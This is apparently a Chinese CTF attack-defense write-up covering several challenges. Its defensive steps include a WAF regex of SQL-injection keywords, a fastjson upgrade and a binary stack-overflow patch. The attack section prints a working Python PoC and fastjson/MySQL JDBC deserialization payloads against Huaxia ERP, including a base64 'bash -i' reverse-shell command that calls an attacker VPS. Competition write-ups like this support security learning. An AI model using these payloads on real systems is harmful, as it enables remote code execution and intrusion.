web出得有点晚了,早点就好了,为啥每次打ap都只能出一个web。。。
不贴图了。免得到打rt的时候bt佬溯我。。
安全的系统
操作内容:
防御:
打开发现题目中config.php里原来就有加过滤,于是试着加了更多的过滤规则进去,刚开始防没有防御成功,后来就加了一个通防脚本,包含之后传进去两个文件,就防御住了。
fish
操作内容:
防御:
防御
代码审计一下,发现了在db.php里原来就有加上的防御正则(随便写的),于是就多给他加一些,让他更安全,传上去之后就防御成功了。
代码语言:txt复制function waf($s){
if (preg_match("/select|flag|union|\\$|'|"|--|#|\0|into|alert|img|prompt|set|/*|x09|x0a|x0b|x0c| x0d|xa0|%|<|>|^|x00|#|x23|[0-9]|file|=|or|x7c|select|and|flag|into|where|x26|'|"|union|`|sleep|benchmark|regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|&|*|.|/is",$s)||strlen($s)>50){
header("Location: /");
die();
}
}
赌怪
操作内容:
防御:
拿到源码是个jar的源码,一般java题漏洞都出现在依赖里,查看pom.xml,发现里面的fastjson是1.2.55的,总所周知,这个版本肯定是存在漏洞的,把依赖的版本修改为新版本1.2.83,然后再maven打包,就防御成功了。
攻击
在查看pom.xml的时候发现了源码为华夏ERP,我记得我好像是有这个poc的,于是everything搜了一下,果然有
然后打开md,在里面得到python写的poc,原来里面的ascii导致出现编码问题会报错,
改成utf-8就好了。
代码语言:txt复制import socket,sys,re
def SendGet(res,ip,port):
request = re.sub('[rn]','rn',res)
port = int(port)
sock = socket.socket() # 建立socket
sock.connect((ip, port)) # 远程连接
sock.send(request.encode('utf-8’)) # 向socket发送数据,此处原为ascii
response = b''
chunk = sock.recv(4096) # 从socket接收数据
print(chunk.decode())
def main(ip,port,dnslog):
test = '{"@type":"java.net.Inet4Address","val":"' dnslog '"}'
test = test.encode('utf-8')
test = ''.join('%{:02X}'.format(x) for x in test)
res = '''GET /a.css/../depotHead/list?search={data}&tPage=1&pageSize=10 HTTP/1.1
Host: {host}
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.47
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,pl;q=0.5
Connection: close
'''.format(data=test,host=ip ':' port)
#print(res)
SendGet(res,ip,port)
main(sys.argv[1],sys.argv[2],sys.argv[3])
用dnslog探测,接收到了请求,说明是确实存在漏洞。但是这个依赖非常少,试了一些链子都没有打通,突然想起来之前看过帖子,mysql也是可以打反序列化的,
查看依赖为mysql-connector-java-5.1.30.jar,版本为5.1.30,确实可以打反序列化,再次用mysql的poc进行探测。
代码语言:txt复制{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "xxx.dnslog.cn", "portToConnectTo": 3306, "info": { "user": "yso_ _bash -c {echo,xxx}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" } }
Dnslog再次收到请求,说明可以打。
于是在vps上开启nc监听,另一边开启MySQL_Fake_Server,MySQL_Fake_Server是用的ysoserial生成的payload,所以再放一个ysoserial进去就可以了,将反弹shell命令base64编码后放入位置。
最终poc:
代码语言:txt复制{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "1.1.1.1", "portToConnectTo": 3306, "info": { "user": "yso_(此处为预留爆破的位置)_bash -c {echo,xxxx}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" } }
最开始根据依赖一个一个链子去对比,对了半天没找到可利用的链子,后来我就把包放到bp,把ysoserial的链子名做成字典,进行爆破,点击攻击之后就收到反弹shell。
然后在根目录下拿到flag。
flag值:
flag{289b8f9f-92cf-4f2a-b2b7-0d445fe90cda}
diff
操作内容:
防御:
1、将下载好的文件拖入ubuntu中,checksec命令查看保护
3、将launcher文件拖入64位IDA,找到main函数用F5反编译查看代码
4、在main函数中找到sub_1566函数,发现buf处有栈溢出
5、用Tab键返回汇编页面,找到buf栈溢出所在位置
6、选择Edit-->Patch program-->Assemble将溢出值改为栈范围内,然后选择Apply patches to input file保存已修改的文件
7、最后再看一下sub_1566函数发现buf栈溢出处已被修改到栈范围内,将修改好的文件和update.sh文件打包上传验证,防御成功,如图所示为update.sh文件内容
杀猪盘
操作内容:
防御:
1、直接工具patch就防御成功。
mvm
操作内容:
防御
1、直接工具patch就防御成功。